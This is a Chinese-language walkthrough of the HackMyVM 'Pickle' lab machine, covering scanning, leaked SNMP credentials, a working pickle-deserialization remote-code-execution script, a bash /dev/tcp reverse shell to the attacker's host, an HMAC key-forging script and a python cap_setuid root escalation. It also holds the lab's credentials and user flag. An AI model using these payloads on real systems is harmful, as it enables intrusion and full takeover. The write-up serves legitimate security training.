Pickle
Pickle
信息搜集
端口扫描
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(kali💀kali)-[~/temp/Pickle]
└─$ rustscan -a $IP -- -sCV
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Real hackers hack time ⌛
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.10.105:21
Open 192.168.10.105:1337
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.10.102
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x 1 0 0 1306 Oct 12 2020 init.py.bak
1337/tcp open http syn-ack Werkzeug httpd 1.0.1 (Python 2.7.16)
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Werkzeug/1.0.1 Python/2.7.16
| http-auth:
| HTTP/1.0 401 UNAUTHORIZED\x0D
|_ Basic realm=Pickle login
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Unix
漏洞发现
敏感端口测试
查看一下ftp
服务内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
┌──(kali💀kali)-[~/temp/Pickle]
└─$ ftp $IP
Connected to 192.168.10.105.
220 (vsFTPd 3.0.3)
Name (192.168.10.105:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||6295|)
150 Here comes the directory listing.
-rwxr-xr-x 1 0 0 1306 Oct 12 2020 init.py.bak
226 Directory send OK.
ftp> get init.py.bak
local: init.py.bak remote: init.py.bak
229 Entering Extended Passive Mode (|||31148|)
150 Opening BINARY mode data connection for init.py.bak (1306 bytes).
100% |************************************************************************************************************************************************| 1306 32.87 KiB/s 00:00 ETA
226 Transfer complete.
1306 bytes received in 00:00 (31.28 KiB/s)
ftp> exit
221 Goodbye.
┌──(kali💀kali)-[~/temp/Pickle]
└─$ cat init.py.bak
from functools import wraps
from flask import *
import hashlib
import socket
import base64
import pickle
import hmac
app = Flask(__name__, template_folder="templates", static_folder="/opt/project/static/")
@app.route('/', methods=["GET", "POST"])
def index_page():
'''
__index_page__()
'''
if request.method == "POST" and request.form["story"] and request.form["submit"]:
md5_encode = hashlib.md5(request.form["story"]).hexdigest()
paths_page = "/opt/project/uploads/%s.log" %(md5_encode)
write_page = open(paths_page, "w")
write_page.write(request.form["story"])
return "The message was sent successfully!"
return render_template("index.html")
@app.route('/reset', methods=["GET", "POST"])
def reset_page():
'''
__reset_page__()
'''
pass
@app.route('/checklist', methods=["GET", "POST"])
def check_page():
'''
__check_page__()
'''
if request.method == "POST" and request.form["check"]:
path_page = "/opt/project/uploads/%s.log" %(request.form["check"])
open_page = open(path_page, "rb").read()
if "p1" in open_page:
open_page = pickle.loads(open_page)
return str(open_page)
else:
return open_page
else:
return "Server Error!"
return render_template("checklist.html")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337, debug=True)
踩点,发现存在验证:
没有其他的办法,尝试爆破,但是未果。
UDP服务扫描
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali💀kali)-[~/temp/Pickle]
└─$ sudo nmap -sU -top 100 $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-12 04:01 EDT
Stats: 0:02:05 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 99.99% done; ETC: 04:04 (0:00:00 remaining)
Nmap scan report for 192.168.10.105
Host is up (0.00089s latency).
Not shown: 96 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
161/udp open snmp
631/udp open|filtered ipp
5353/udp open|filtered zeroconf
MAC Address: 08:00:27:C5:BC:73 (Oracle VirtualBox virtual NIC)
检查一下snmp
服务,查看一下有啥命令:https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp#enumerating-snmp
尝试检索一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
┌──(kali💀kali)-[~/temp/Pickle]
└─$ snmpwalk -v X -c public $IP
Invalid version specified after -v flag: X
USAGE: snmpwalk [OPTIONS] AGENT [OID]
Version: 5.9.4.pre2
Web: http://www.net-snmp.org/
Email: net-snmp-coders@lists.sourceforge.net
OPTIONS:
-h, --help display this help message
-H display configuration file directives understood
-v 1|2c|3 specifies SNMP version to use
-V, --version display package version number
SNMP Version 1 or 2c specific
-c COMMUNITY set the community string
SNMP Version 3 specific
-a PROTOCOL set authentication protocol (MD5|SHA|SHA-224|SHA-256|SHA-384|SHA-512)
-A PASSPHRASE set authentication protocol pass phrase
-e ENGINE-ID set security engine ID (e.g. 800000020109840301)
-E ENGINE-ID set context engine ID (e.g. 800000020109840301)
-l LEVEL set security level (noAuthNoPriv|authNoPriv|authPriv)
-n CONTEXT set context name (e.g. bridge1)
-u USER-NAME set security name (e.g. bert)
-x PROTOCOL set privacy protocol (DES|AES|AES-192|AES-256)
-X PASSPHRASE set privacy protocol pass phrase
-Z BOOTS,TIME set destination engine boots/time
General communication options
-r RETRIES set the number of retries
-t TIMEOUT set the request timeout (in seconds)
Debugging
-d dump input/output packets in hexadecimal
-D[TOKEN[,...]] turn on debugging output for the specified TOKENs
(ALL gives extremely verbose debugging output)
General options
-m MIB[:...] load given list of MIBs (ALL loads everything)
-M DIR[:...] look in given list of directories for MIBs
(default: $HOME/.snmp/mibs:/usr/share/snmp/mibs:/usr/share/snmp/mibs/iana:/usr/share/snmp/mibs/ietf)
-P MIBOPTS Toggle various defaults controlling MIB parsing:
u: allow the use of underlines in MIB symbols
c: disallow the use of "--" to terminate comments
d: save the DESCRIPTIONs of the MIB objects
e: disable errors when MIB symbols conflict
w: enable warnings when MIB symbols conflict
W: enable detailed warnings when MIB symbols conflict
R: replace MIB symbols from latest module
-O OUTOPTS Toggle various defaults controlling output display:
0: print leading 0 for single-digit hex characters
a: print all strings in ascii format
b: do not break OID indexes down
e: print enums numerically
E: escape quotes in string indices
f: print full OIDs on output
n: print OIDs numerically
p PRECISION: display floating point values with specified PRECISION (printf format string)
q: quick print for easier parsing
Q: quick print with equal-signs
s: print only last symbolic element of OID
S: print MIB module-id plus last element
t: print timeticks unparsed as numeric integers
T: print human-readable text along with hex strings
u: print OIDs using UCD-style prefix suppression
U: don't print units
v: print values only (not OID = value)
x: print all strings in hex format
X: extended index format
-I INOPTS Toggle various defaults controlling input parsing:
b: do best/regex matching to find a MIB node
h: don't apply DISPLAY-HINTs
r: do not check values for range/type legality
R: do random access to OID labels
u: top-level OIDs must have '.' prefix (UCD-style)
s SUFFIX: Append all textual OIDs with SUFFIX before parsing
S PREFIX: Prepend all textual OIDs with PREFIX before parsing
-L LOGOPTS Toggle various defaults controlling logging:
e: log to standard error
o: log to standard output
n: don't log at all
f file: log to the specified file
s facility: log to syslog (via the specified facility)
(variants)
[EON] pri: log to standard error, output or /dev/null for level 'pri' and above
[EON] p1-p2: log to standard error, output or /dev/null for levels 'p1' to 'p2'
[FS] pri token: log to file/syslog for level 'pri' and above
[FS] p1-p2 token: log to file/syslog for levels 'p1' to 'p2'
-C APPOPTS Set various application specific behaviours:
p: print the number of variables found
i: include given OID in the search range
I: don't include the given OID, even if no results are returned
c: do not check returned OIDs are increasing
t: Display wall-clock time to complete the walk
T: Display wall-clock time to complete each request
E {OID}: End the walk at the specified OID
┌──(kali💀kali)-[~/temp/Pickle]
└─$ snmpwalk -v 1 -c public $IP
iso.3.6.1.2.1.1.1.0 = STRING: "Linux pickle 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (121922) 0:20:19.22
iso.3.6.1.2.1.1.4.0 = STRING: "lucas:SuperSecretPassword123!"
iso.3.6.1.2.1.1.5.0 = STRING: "pickle"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (57) 0:00:00.57
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (57) 0:00:00.57
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (122955) 0:20:29.55
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 E8 09 0C 04 0E 02 00 2D 04 00
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/boot/vmlinuz-4.19.0-11-amd64 root=UUID=1612bec5-c369-4a38-a5d9-61c9328c9afa ro quiet
"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 0
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 68
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
End of MIB
找到一组密钥:
1
2
lucas
SuperSecretPassword123!
当成账号密码发现可以登录1337
端口:
路由分析
源代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from functools import wraps
from flask import *
import hashlib
import socket
import base64
import pickle
import hmac
app = Flask(__name__, template_folder="templates", static_folder="/opt/project/static/")
@app.route('/', methods=["GET", "POST"])
def index_page():
'''
__index_page__()
'''
if request.method == "POST" and request.form["story"] and request.form["submit"]:
# 检查 POST 数据中中的 `story` 和 `submit` 两个变量
md5_encode = hashlib.md5(request.form["story"]).hexdigest()
# md5 加密 story 的数据
paths_page = "/opt/project/uploads/%s.log" %(md5_encode)
write_page = open(paths_page, "w")
write_page.write(request.form["story"])
# 记录日志信息
return "The message was sent successfully!"
return render_template("index.html")
@app.route('/reset', methods=["GET", "POST"])
def reset_page():
'''
__reset_page__()
'''
pass
@app.route('/checklist', methods=["GET", "POST"])
def check_page():
'''
__check_page__()
'''
if request.method == "POST" and request.form["check"]:
path_page = "/opt/project/uploads/%s.log" %(request.form["check"])
open_page = open(path_page, "rb").read()
if "p1" in open_page:
# 如果 p1 字段存在,则反序列化
open_page = pickle.loads(open_page)
return str(open_page)
else:
return open_page
else:
return "Server Error!"
return render_template("checklist.html")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337, debug=True)
存在三组路由:
/
/reset
/checklist
多的不解释了,这个逻辑看起来不难,尝试一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
┌──(kali💀kali)-[~/temp/Pickle]
└─$ curl -s -u 'lucas:SuperSecretPassword123!' http://192.168.10.105:1337/ -d "story=hgbe02"
..........
<!--
Traceback (most recent call last):
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2464, in __call__
return self.wsgi_app(environ, start_response)
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2450, in wsgi_app
response = self.handle_exception(e)
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1867, in handle_exception
reraise(exc_type, exc_value, tb)
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2447, in wsgi_app
response = self.full_dispatch_request()
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1952, in full_dispatch_request
rv = self.handle_user_exception(e)
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1821, in handle_user_exception
reraise(exc_type, exc_value, tb)
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1950, in full_dispatch_request
rv = self.dispatch_request()
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1936, in dispatch_request
return self.view_functions[rule.endpoint](**req.view_args)
File "/opt/project/project.py", line 30, in decorated
return f(*args, **kwargs)
File "/opt/project/project.py", line 39, in index_page
if request.method == "POST" and request.form["story"] and request.form["submit"]:
File "/usr/local/lib/python2.7/dist-packages/werkzeug/datastructures.py", line 442, in __getitem__
raise exceptions.BadRequestKeyError(key)
BadRequestKeyError: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand.
KeyError: 'submit'
-->
┌──(kali💀kali)-[~/temp/Pickle]
└─$ curl -s -u 'lucas:SuperSecretPassword123!' http://192.168.10.105:1337/ -d "story=hgbe02&submit=%E6%8F%90%E4%BA%A4"
The message was sent successfully!
┌──(kali💀kali)-[~/temp/Pickle]
└─$ echo -n 'hgbe02' | md5sum
105abaedc26fb12d3fd5440a6ea8e27c -
┌──(kali💀kali)-[~/temp/Pickle]
└─$ curl -s -u 'lucas:SuperSecretPassword123!' http://192.168.10.105:1337/checklist -d "check=105abaedc26fb12d3fd5440a6ea8e27c"
hgbe02
通过报错,发现python版本为python2.7
,同时也可以使用md5找到文件!
pickle利用
尝试进行反序列化利用,这里直接引用别的师傅写好的脚本辣:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#coding:utf-8
import os
import cPickle
import hashlib
import requests
class CommandExecute(object):
def __reduce__(self):
return (os.system, ('ping -c 1 192.168.10.102',))
convert_data = cPickle.dumps(CommandExecute())
convert_crypt = hashlib.md5(convert_data).hexdigest()
send_requests = requests.post('http://192.168.10.105:1337/', data={"story":convert_data, "submit":"Submit+Query"}, auth=("lucas", "SuperSecretPassword123!"))
check_requests = requests.post('http://192.168.10.105:1337/checklist', data={"check":convert_crypt}, auth=("lucas", "SuperSecretPassword123!"))
print(check_requests.text)
多次运行发现可以ping成功!
1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali💀kali)-[~/temp/Pickle]
└─$ python2 exp.py 2>/dev/null
0
┌──(kali💀kali)-[~/temp/Pickle]
└─$ sudo tcpdump -i eth1 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes
05:20:44.205898 IP 192.168.10.105 > 192.168.10.102: ICMP echo request, id 491, seq 1, length 64
05:20:44.205941 IP 192.168.10.102 > 192.168.10.105: ICMP echo reply, id 491, seq 1, length 64
05:21:08.452970 IP 192.168.10.105 > 192.168.10.102: ICMP echo request, id 495, seq 1, length 64
05:21:08.452988 IP 192.168.10.102 > 192.168.10.105: ICMP echo reply, id 495, seq 1, length 64
修改相关命令,反弹shell!
1
bash -c "exec bash -i &>/dev/tcp/192.168.10.102/1234 <&1"
提权
信息搜集
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
(remote) lucas@pickle:/home/lucas$ whoami;id
lucas
uid=1000(lucas) gid=1000(lucas) groups=1000(lucas),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
(remote) lucas@pickle:/home/lucas$ ls -la
total 32
drwxr-xr-x 3 lucas lucas 4096 Oct 11 2020 .
drwxr-xr-x 4 root root 4096 Oct 12 2020 ..
-rw------- 1 lucas lucas 1 Oct 12 2020 .bash_history
-rw-r--r-- 1 lucas lucas 220 Oct 11 2020 .bash_logout
-rw-r--r-- 1 lucas lucas 3526 Oct 11 2020 .bashrc
drwxr-xr-x 3 lucas lucas 4096 Oct 11 2020 .local
-rw-r--r-- 1 lucas lucas 807 Oct 11 2020 .profile
-rw-r--r-- 1 lucas lucas 66 Oct 11 2020 .selected_editor
(remote) lucas@pickle:/home/lucas$ sudo -l
bash: sudo: command not found
(remote) lucas@pickle:/home/lucas$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/umount
/usr/bin/su
(remote) lucas@pickle:/home/lucas$ cd /opt
(remote) lucas@pickle:/opt$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Oct 11 2020 .
drwxr-xr-x 18 root root 4096 Oct 11 2020 ..
drwxr-xr-x 5 root root 4096 Oct 12 2020 project
(remote) lucas@pickle:/opt$ cd project/
(remote) lucas@pickle:/opt/project$ ls -la
total 24
drwxr-xr-x 5 root root 4096 Oct 12 2020 .
drwxr-xr-x 3 root root 4096 Oct 11 2020 ..
-rwxr-xr-x 1 root root 2654 Oct 12 2020 project.py
drwxr-xr-x 4 root root 4096 Oct 11 2020 static
drwxr-xr-x 2 root root 4096 Oct 11 2020 templates
drwxrwxrwx 2 root root 4096 Sep 12 05:28 uploads
(remote) lucas@pickle:/opt/project$ cat project.py
from functools import wraps
from flask import *
import hashlib
import socket
import base64
import pickle
import hmac
app = Flask(__name__, template_folder="templates", static_folder="/opt/project/static/")
def check_auth(username, password):
"""This function is called to check if a username /
password combination is valid.
"""
return username == 'lucas' and password == 'SuperSecretPassword123!'
def authenticate():
"""Sends a 401 response that enables basic auth"""
return Response(
'Could not verify your access level for that URL.\n'
'You have to login with proper credentials', 401,
{'WWW-Authenticate': 'Basic realm="Pickle login"'})
def requires_auth(f):
@wraps(f)
def decorated(*args, **kwargs):
auth = request.authorization
if not auth or not check_auth(auth.username, auth.password):
return authenticate()
return f(*args, **kwargs)
return decorated
@app.route('/', methods=["GET", "POST"])
@requires_auth
def index_page():
'''
__index_page__()
'''
if request.method == "POST" and request.form["story"] and request.form["submit"]:
md5_encode = hashlib.md5(request.form["story"]).hexdigest()
paths_page = "/opt/project/uploads/%s.log" %(md5_encode)
write_page = open(paths_page, "w")
write_page.write(request.form["story"])
return "The message was sent successfully!"
return render_template("index.html")
@app.route('/reset', methods=["GET", "POST"])
@requires_auth
def reset_page():
'''
__reset_page__()
'''
if request.method == "POST" and request.form["username"] and request.form["key"]:
key = "dpff43f3p214k31301"
raw = request.form["username"] + key + socket.gethostbyname(socket.gethostname())
hashed = hmac.new(key, raw, hashlib.sha1)
if request.form["key"] == hashed.hexdigest():
return base64.b64encode(hashed.digest().encode("base64").rstrip("\n"))
else:
return "Server Error!"
return render_template("reset.html")
@app.route('/checklist', methods=["GET", "POST"])
@requires_auth
def check_page():
'''
__check_page__()
'''
if request.method == "POST" and request.form["check"]:
path_page = "/opt/project/uploads/%s.log" %(request.form["check"])
open_page = open(path_page, "rb").read()
if "p1" in open_page:
open_page = pickle.loads(open_page)
return str(open_page)
else:
return open_page
else:
return "Server Error!"
return render_template("checklist.html")
@app.route('/console')
@requires_auth
def secret_page():
return "Server Error!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337, debug=True)
(remote) lucas@pickle:/opt/project$ cd uploads
(remote) lucas@pickle:/opt/project/uploads$ ls -la
total 28
drwxrwxrwx 2 root root 4096 Sep 12 05:28 .
drwxr-xr-x 5 root root 4096 Oct 12 2020 ..
-rw-r--r-- 1 lucas lucas 6 Sep 12 04:32 105abaedc26fb12d3fd5440a6ea8e27c.log
-rw-r--r-- 1 lucas lucas 58 Sep 12 05:21 110207bbd89a69ddcf2b2aebb3b380d5.log
-rw-r--r-- 1 lucas lucas 91 Sep 12 05:28 8c809790306c09de2a350426a25d7de3.log
-rw-r--r-- 1 lucas lucas 4 Sep 12 04:24 b59c67bf196a4758191e42f76670ceba.log
-rw-r--r-- 1 lucas lucas 9 Sep 12 04:24 bbb8aae57c104cda40c93843ad5e6db8.log
(remote) lucas@pickle:/opt/project/uploads$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
lucas:x:1000:1000:lucas,,,:/home/lucas:/bin/bash
mark:x:1001:1001::/home/mark:/bin/bash
利用
尝试使用脚本进行利用:
1
2
3
4
5
6
7
8
9
10
11
12
import hashlib
import socket
import base64
import hmac
user=['lucas', 'mark']
for i in user:
key = "dpff43f3p214k31301"
raw = i + key + socket.gethostbyname(socket.gethostname())
hashed = hmac.new(key, raw, hashlib.sha1)
print("[+] USER:",i)
print(base64.b64encode(hashed.digest().encode("base64").rstrip("\n")))
尝试运行:
1
2
3
4
5
6
7
(remote) lucas@pickle:/opt/project/uploads$ cd /tmp
(remote) lucas@pickle:/tmp$ nano exp.py&&chmod +x exp.py
(remote) lucas@pickle:/tmp$ python2 exp.py
('[+] USER:', 'lucas')
YTdYYTB1cDFQOTBmeEFwclVXZVBpTCtmakx3PQ==
('[+] USER:', 'mark')
SUk5enROY2FnUWxnV1BUWFJNNXh4amxhc00wPQ==
尝试修改密码以及切换用户:
1
2
3
4
5
6
7
8
9
10
11
(remote) lucas@pickle:/tmp$ passwd lucas
Changing password for lucas.
Current password:
New password:
# lucas
Retype new password:
You must choose a longer password
New password:
Retype new password:
passwd: password updated successfully
# lucas123456
python的capabilities权限提权root
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
mark@pickle:~$ ls -la
total 3640
drwxr-x--- 4 mark mark 4096 Oct 12 2020 .
drwxr-xr-x 4 root root 4096 Oct 12 2020 ..
-rw------- 1 mark mark 1 Oct 12 2020 .bash_history
-rw-r--r-- 1 mark mark 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 mark mark 3526 Apr 18 2019 .bashrc
drwx------ 3 mark mark 4096 Oct 12 2020 .gnupg
drwxr-xr-x 3 mark mark 4096 Oct 11 2020 .local
-rw-r--r-- 1 mark mark 807 Apr 18 2019 .profile
-rwxr-xr-x 1 root root 3689352 Oct 11 2020 python2
-rw-r----- 1 mark mark 33 Oct 11 2020 user.txt
mark@pickle:~$ cat user.txt
e25fd1b9248d1786551e3412adc74f6f
mark@pickle:~$ whereis python2
python2: /usr/bin/python2.7 /usr/bin/python2.7-config /usr/bin/python2 /usr/lib/python2.7 /etc/python2.7 /usr/local/lib/python2.7 /usr/include/python2.7 /usr/share/man/man1/python2.1.gz
mark@pickle:~$ ls -la /usr/bin/python2.7
-rwxr-xr-x 1 root root 3689352 Oct 10 2019 /usr/bin/python2.7
mark@pickle:~$ ls -la /usr/bin/python2
lrwxrwxrwx 1 root root 9 Mar 4 2019 /usr/bin/python2 -> python2.7
mark@pickle:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/umount
/usr/bin/su
mark@pickle:~$ /usr/sbin/getcap -r / 2>/dev/null
mark@pickle:~$ whereis getcap
getcap: /usr/bin/getcap /usr/share/man/man8/getcap.8.gz
mark@pickle:~$ /usr/bin/getcap -r / 2>/dev/null
/home/mark/python2 = cap_setuid+ep
/usr/bin/ping = cap_net_raw+ep
尝试进行提权:https://gtfobins.github.io/gtfobins/python/#capabilities
1
mark@pickle:~$ /home/mark/python2 -c 'import os; os.setuid(0); os.system("/bin/bash")'
参考
https://drive.google.com/file/d/14qAw3wP1dKjuXlpfLfbkvaxVcqS2Uk7d/view?usp=sharing
https://tryhackmyoffsecbox.github.io/Target-Machines-WriteUp/docs/HackMyVM/Machines/Pickle/
https://www.bilibili.com/video/BV1vcYyeoEsK/
本文由作者按照 CC BY 4.0 进行授权